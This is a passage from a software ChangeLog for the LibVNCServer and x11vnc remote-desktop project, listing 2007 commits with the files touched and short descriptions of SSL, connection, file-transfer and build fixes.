3999	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4000	x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc:
4001	          fix wireframe crash under -clip.  Add -redirect for VNC redir.
4002	          -rawfb nullbig, randbig, solid, swirl, etc.  FD_XDM mode to
4003	          find_display.  -listdpy.  Add enlightenment.  Xvnc.redirect
4004	          FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc.
4005	AUTO_PORT.
4006
40072007-09-05  runge <runge>
4008
4009	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4010	x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c,
4011	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c,
4012	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
4013	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4014	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
4015	x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc:
4016	-autoport, -finddpy, -xdummy. watch xrandr events.
4017	check_redir_services() utilities for Terminal services.  Improve
4018	Xdummy.
4019
40202007-09-05  runge <runge>
4021
4022	* ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc,
4023	classes/ssl/ss_vncviewer,
4024	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
4025	classes/ssl/ultraproxy.vnc,
4026	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl:
4027	improve timeouts, port fallback, and connection time.
4028
40292007-08-19  runge <runge>
4030
4031	* x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1: 
4032	malloc score_hint and make it shorts to save space.
4033
40342007-08-19  runge <runge>
4035
4036	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4037	x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c,
4038	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb
4039	tie-breaking for up keystrokes.  Add Xsrv/FD_XSRV custom server to
4040	FINDCREATEDISPLAY list.
4041
40422007-08-18  runge <runge>
4043
4044	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c,
4045	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1,
4046	x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create)
4047	script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc
4048	support
4049
40502007-08-16  runge <runge>
4051
4052	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c,
4053	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect
4054	support to -display WAIT:, fix SSL Fetch cert only for -display
4055	WAIT:
4056
40572007-08-14  dscho <dscho>
4058
4059	* AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the
4060	GotRect hook is set, override default op.
4061
40622007-08-04  runge <runge>
4063
4064	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4065	x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc,
4066	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4067	x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh,
4068	.DCOPserver bug, -unixpw_unsafe ignores SSH tunnel.
4069
40702007-08-04  runge <runge>
4071
4072	* libvncclient/vncviewer.c: argv > 0 doesn't make sense for a
4073	pointer; assuming argv != NULL.
4074
40752007-07-05  runge <runge>
4076
4077	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4078	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc,
4079	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1,
4080	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix
4081	big fonts in tkx11vnc.
4082
40832007-07-05  runge <runge>
4084
4085	* configure.ac, prepare_x11vnc_dist.sh: configure.ac check for
4086	external system libvncserver version. set x11vnc version 0.9.3
4087
40882007-06-18  runge <runge>
4089
4090	* x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1,
4091	x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release.
4092
40932007-06-15  runge <runge>
4094
4095	* ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc,
4096	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac,
4097	x11vnc/ChangeLog, x11vnc/README,
4098	x11vnc/misc/enhanced_tightvnc_viewer/README,
4099	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
4100	viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4101	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4102	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4103	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4104	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4105	ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c,
4106	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
4107	x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or
4108	--without-ssl supplied.
4109
41102007-05-27  runge <runge>
4111
4112	*
4113	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4114	ll.patch: sync ssvnc unix viewer diffs; fix X cursor size.
4115
41162007-05-27  runge <runge>
4117
4118	* classes/ssl/ss_vncviewer,
4119	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4120	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4121	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4122	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4123	ll.patch: update java viewer and ssvnc.
4124
41252007-05-27  runge <runge>
4126
4127	* configure.ac, x11vnc/README: configure.ac: fix x11vnc
4128	--with-system-libvncserver build and add -R link flag.
4129
41302007-05-27  runge <runge>
4131
4132	* libvncserver-config.in: Fix --libs, echo -n doesn't work
4133	everywhere.  Question: why -R only for Solaris??
4134
41352007-05-27  runge <runge>
4136
4137	* x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake.
4138
41392007-05-27  runge <runge>
4140
4141	* ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh,
4142	x11vnc/README: configure: make more of a split between libvncserver
4143	and x11vnc pkgs.
4144
41452007-05-26  runge <runge>
4146
4147	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
4148	x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
4149	x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no
4150	echo username.
4151
41522007-05-22  runge <runge>
4153
4154	* classes/ssl/ss_vncviewer: update regular SSL viewer jars; update
4155	ss_vncviewer script.
4156
41572007-05-22  runge <runge>
4158
4159	* x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4160	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4161	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4162	ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n
4163	menu and chat windows)
4164
41652007-05-22  runge <runge>
4166
4167	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4168	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set
4169	things up (NCACHE = -1) to not have -ncache on by default.
4170
41712007-05-19  runge <runge>
4172
4173	* classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
4174	libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1,
4175	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java
4176	viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case.
4177
41782007-05-17  runge <runge>
4179
4180	* libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99
4181	declaration error.
4182
41832007-05-17  runge <runge>
4184
4185	* libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check
4186	permitFileTransfer 1st to avoid false alarms.
4187
41882007-05-16  runge <runge>
4189
4190	* prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list.
4191
41922007-05-16  runge <runge>
4193
4194	* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
4195	libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging
4196	output to know when inside tightvnc-filetransfer functions.
4197
41982007-05-16  runge <runge>
4199
4200	* classes/ssl/Makefile.am, classes/ssl/README,
4201	classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc,
4202	classes/ssl/ultrasigned.vnc,
4203	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support
4204	to UltraVNC Java Viewer (has filetransfer gui).  Fix UltraVNC bugs
4205	and improve FTP gui a bit.
4206
42072007-05-16  runge <runge>
4208
4209	* x11vnc/ChangeLog, x11vnc/README,
4210	x11vnc/misc/enhanced_tightvnc_viewer/README,
4211	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4212	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4213	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4214	x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs
4215	and accepted certs logging. x11vnc SSL debugging output.
4216
42172007-05-16  runge <runge>
4218
4219	* libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is
4220	not enabled.
4221
42222007-05-07  runge <runge>
4223
4224	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4225	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4226	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4227	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc:
4228	Home dir changing, skip enc warning, memory stick doc.
4229
42302007-05-07  runge <runge>
4231
4232	* x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c,
4233	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
4234	x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop
4235	client doing ultravnc stuff in -unixpw during login phase.
4236
42372007-05-05  runge <runge>
4238
4239	* x11vnc/README, x11vnc/connections.c, x11vnc/help.c,
4240	x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c,
4241	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer
4242	warnings and messages.
4243
42442007-05-05  runge <runge>
4245
4246	* configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4247	x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1,
4248	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add
4249	groups handling for -users mode.
4250
42512007-05-04  runge <runge>
4252
4253	* x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c,
4254	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env.
4255	var, add mwm to -create.
4256
42572007-05-01  runge <runge>
4258
4259	* classes/ssl/Makefile.am, classes/ssl/onetimekey,
4260	classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README,
4261	x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c,
4262	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1,
4263	x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc
4264	setsid/setpgrp and -cc 4 for -create
4265
42662007-04-28  runge <runge>
4267
4268	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4269	x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README,
4270	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4271	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4272	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4273	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4274	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4275	ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c,
4276	x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c,
4277	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
4278	-users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default
4279
42802007-04-19  runge <runge>
4281
4282	* prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1,
4283	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release
4284	(0.9.1)
4285
42862007-04-19  runge <runge>
4287
4288	*
4289	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4290	ll.patch: Add latest vncviewer patch.
4291
42922007-04-19  runge <runge>
4293
4294	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4295	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4296	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4297	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
4298	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with
4299	SSVNC 1.0.15
4300
43012007-04-18  runge <runge>
4302
4303	* x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1,
4304	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9
4305	release.
4306
43072007-04-08  runge <runge>
4308
4309	* prepare_x11vnc_dist.sh: change x11vnc version to 0.9
4310
43112007-04-07  dscho <dscho>
4312
4313	* configure.ac: prepare for release of LibVNCServer 0.9
4314
43152007-04-07  runge <runge>
4316
4317	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4318	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c,
4319	x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY
4320	tags.
4321
43222007-04-07  runge <runge>
4323
4324	* classes/ssl/ss_vncviewer,
4325	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update
4326	viewer jars and ss script
4327
43282007-04-07  runge <runge>
4329
4330	* x11vnc/README, x11vnc/connections.c, x11vnc/help.c,
4331	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c,
4332	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java
4333	ingoreProxy, fix old libssl free_func problem
4334
43352007-04-06  dscho <dscho>
4336
4337	* AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"'
4338	to make it convenient to include from C++
4339
43402007-04-06  dscho <dscho>
4341
4342	* AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++.
4343
43442007-03-30  dscho <dscho>
4345
4346	* prepare_x11vnc_dist.sh: build x11vnc with static libraries (at
4347	least for now) Maybe at a later stage, we want x11vnc to pick up on existing
4348	libvncserver.so and libvncclient.so, but right now, x11vnc and the
4349	libraries progress together (and thus it is better to build static,
4350	necessarily up-to-date libraries for x11vnc).
4351
43522007-03-30  dscho <dscho>
4353
4354	* AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am,
4355	configure.ac, contrib/Makefile.am, examples/Makefile.am,
4356	libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh,
4357	test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build
4358	shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared
4359	libraries.
4360
43612007-03-25  runge <runge>
4362
4363	* x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c,
4364	x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors,
4365	get -ncache working on macosx again.
4366
43672007-03-24  runge <runge>
4368
4369	* libvncserver/cursor.c: Fix short vs. char problem with X cursors.
4370	Have fg == bg == 0 imply interpolation to B&W.
4371
43722007-03-24  runge <runge>
4373
4374	* classes/ssl/ss_vncviewer,
4375	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse
4376	connections for ss_vncviewer.  java one-time-keys.
4377
43782007-03-24  runge <runge>
4379
4380	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4381	x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c,
4382	x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4383	x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4384	x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin
4385	option.
4386
43872007-03-24  runge <runge>
4388
4389	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4390	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4391	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4392	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4393	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4394	ll.patch: reverse (listening) VNC connections.
4395
43962007-03-20  runge <runge>
4397
4398	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4399	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
4400	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4401	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4402	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4403	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4404	ll.patch: ssvnc: sync to 1.0.13 release.
4405
44062007-03-20  runge <runge>
4407
4408	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
4409	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
4410	x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1,
4411	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir,
4412	x11cursor fix, nc=N login opt, no -ncache betatest for java viewer.
4413
44142007-03-20  runge <runge>
4415
4416	* ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP
4417	replies.
4418
44192007-03-17  dscho <dscho>
4420
4421	* AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 
4422	Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to
4423	how condition variables are used.  On certain machines in our lab, when using a vncviewer to view a
4424	display that has a very high rate of updates, we will occasionally
4425	see the VNC server process crash.  In one stack trace that was
4426	obtained, an assertion had tripped in glibc's pthread_cond_wait,
4427	which was called from clientOutput.  Inspection of clientOutput suggests that WAIT is being called
4428	incorrectly.  The mutex that protects a condition variable should
4429	always be locked when calling wait, and on return from the wait will
4430	still be locked.  The attached patch fixes the locking around this
4431	condition variable, and one other that I found by grepping the
4432	source for similar occurrences.  Signed-off-by: Charles Coffing <ccoffing@novell.com>
4433
44342007-03-13  runge <runge>
4435
4436	*
4437	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4438	ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch
4439
44402007-03-13  runge <runge>
4441
4442	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c,
4443	x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4444	x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache
4445	beta tester to 96MB viewers.
4446
44472007-02-19  runge <runge>
4448
4449	* x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
4450	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4451	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4452	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
4453	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4454	ll.patch: ssvnc: more fixes for painting problems.
4455
44562007-02-19  runge <runge>
4457
4458	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4459	x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode.
4460
44612007-02-19  runge <runge>
4462
4463	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4464	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4465	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4466	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4467	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4468	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4469	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4470	ll.patch: store 1.0.12 snapshot.
4471
44722007-02-19  runge <runge>
4473
4474	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
4475	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get
4476	ultravnc textchat working with ssvnc.
4477
44782007-02-17  runge <runge>
4479
4480	* x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1: 
4481	x11vnc: make https fetch in accept_openssl() work again.
4482
44832007-02-16  runge <runge>
4484
4485	* x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h,
4486	x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c,
4487	x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c,
4488	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
4489	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add
4490	Files mode to user controlled input. more ultra/tight filexfer
4491	tweaks.  rfbversion remote control. noncache/nc unixpw user opt.
4492
44932007-02-16  runge <runge>
4494
4495	* x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c,
4496	x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c,
4497	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
4498	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4499	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4500	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc:
4501	tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry.
4502
45032007-02-12  runge <runge>
4504
4505	* configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
4506	x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c,
4507	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
4508	x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
4509	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4510	x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka
4511	mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find
4512	-create
4513
45142007-02-12  runge <runge>
4515
4516	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4517	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c,
4518	x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
4519	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
4520	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4521	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
4522	x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms,
4523	-noserverdpms, -loopbg, -svc, -xdmsvc
4524
45252007-02-10  runge <runge>
4526
4527	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4528	x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h,
4529	x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
4530	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c,
4531	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4532	x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in
4533	unixpw, implement kbdReleaseAllKeys, setSingleWindow,
4534	setServerInput. watch for OpenGL apps breaking XDAMAGE.
4535
45362007-02-05  runge <runge>
4537
4538	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4539	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4540	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4541	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4542	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4543	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4544	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4545	ll.patch: ssvnc 1.0.11 files.
4546
45472007-02-05  runge <runge>
4548
4549	* prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1,
4550	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5
4551
45522007-02-01  dscho <dscho>
4553
4554	* ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c,
4555	rfb/rfbclient.h: LibVNCClient: some users do not want to get
4556	whole-screen updates; introduce client->updateRect for that
4557
45582007-02-01  dscho <dscho>
4559
4560	* libvncclient/zrle.c: sometimes zrle sends too many bytes; play
4561	safe
4562
45632007-01-31  runge <runge>
4564
4565	* x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c,
4566	x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c,
4567	x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings.
4568
45692007-01-31  runge <runge>
4570
4571	* ChangeLog: libvncclient changes.
4572
45732007-01-31  runge <runge>
4574
4575	* x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
4576	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
4577	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c,
4578	x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
4579	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
4580	wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
4581	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
4582	x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h,
4583	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
4584	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c,
4585	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4586	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
4587	x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY,
4588	FINDCREATEDISPLAY, improvements.  MODTWEAK_LOWEST workaround.
4589
45902007-01-31  runge <runge>
4591
4592	* Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c,
4593	libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h: 
4594	libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on
4595	libvncclient
4596
45972007-01-25  dscho <dscho>
4598
4599	* libvncserver/rfbserver.c: compile fix for MinGW
4600
46012007-01-25  dscho <dscho>
4602
4603	* VisualNaCro/Makefile.am: complain when SWIG is not present, but
4604	needed
4605
46062007-01-25  dscho <dscho>
4607
4608	* VisualNaCro/configure.ac: Complain if libvncserver-config was not
4609	found in PATH
4610
46112007-01-10  runge <runge>
4612
4613	* x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
4614	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc,
4615	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h,
4616	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
